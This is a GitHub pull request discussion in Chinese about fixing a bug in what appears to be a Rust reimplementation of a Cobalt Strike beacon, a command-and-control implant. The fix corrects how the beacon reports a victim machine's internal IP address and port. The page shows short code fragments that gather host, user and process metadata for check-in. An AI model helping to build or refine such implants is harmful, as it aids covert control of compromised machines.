Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

修改了小bug #10

Merged
merged 2 commits into from
Aug 10, 2024
Merged

修改了小bug #10

merged 2 commits into from
Aug 10, 2024

Conversation

fdx-xdf
Copy link
Contributor

@fdx-xdf fdx-xdf commented Aug 4, 2024

更改了windows下meta_info的小错误(port),适配了获取内网ip地址
这次应该ok了 (T﹏T)

更改了windows下meta_info的小错误(port),适配了获取内网ip地址
Cargo.toml Outdated
hmac = "0.12.1"
encoding_rs = "0.8"
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

这个用不到吧

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

hmac 好像用到

src/main.rs Outdated
@@ -263,7 +266,7 @@ fn main() {
Some("macOS") => beacon.linux_collect_info(),
_ => beacon.linux_collect_info(),
}
.unwrap_or_else(|_| panic!("collect info error"));
.unwrap_or_else(|_| panic!("collect info error"));
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

整体做一下 cargo fmt

src/main.rs Outdated
println!("local_ip: {}", local_ip);
let mut ip_bytes = match local_ip {
IpAddr::V4(ipv4) => ipv4.octets().to_vec(),
IpAddr::V6(ipv6) => ipv6.octets().to_vec(),
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

这里如果拿到的是 ipv6,后面的字节数就不止4个了,可能会有潜在问题。如果是 ipv6 就打印个日志然后默认用127.0.0.1 吧

对代码进行了格式化,增加了错误处理
@fdx-xdf
Copy link
Contributor Author

fdx-xdf commented Aug 6, 2024

已进行修改

let os_info = format!("{}\t{}\t{}", &host_name, &user_name, &process_name).into_bytes();
let locale_ansi = 936u16;
let locale_oem = 936u16;
let online_info = [
&self.id.to_be_bytes()[..],
&process_id.to_be_bytes()[..],
&port.to_be_bytes()[..],
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

这个 port 是做什么的?为了适配某个版本吗,还是有什么别的用途?我看它也没有被赋值

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

原来的ip地址解析出来是错位的

Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

你测试的是哪个版本,我记得4.0没这个问题,这么改不是不兼容了吗

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

4.5的,我看windows部分的提交者也在他博客说这个问题了
https://808mak1r.com/posts/19d1f7ce/

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

其实就对应linux部分的这段代码:
image

@fdx-xdf
Copy link
Contributor Author

fdx-xdf commented Aug 8, 2024

啊,构建失败了,我明天看看怎么回事😇😇

@fdx-xdf
Copy link
Contributor Author

fdx-xdf commented Aug 9, 2024

诶,不对呀,这个报错是因为profile.rs里面C2_GET_URL,C2_POST_URL没填写导致的,这个值应该是由项目里的python脚本填写的,所以如果我在pr中填写了这两个变量的值会不会影响python脚本的工作

@fdx-xdf
Copy link
Contributor Author

fdx-xdf commented Aug 9, 2024

另外附上windows版本下ip地址修改前后图,原来在linux下应该是没问题的,windows有问题
image

@b1tg b1tg merged commit 2f9e008 into b1tg:main Aug 10, 2024
1 check failed
@b1tg
Copy link
Owner

b1tg commented Aug 10, 2024

谢谢你的PR @fdx-xdf

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants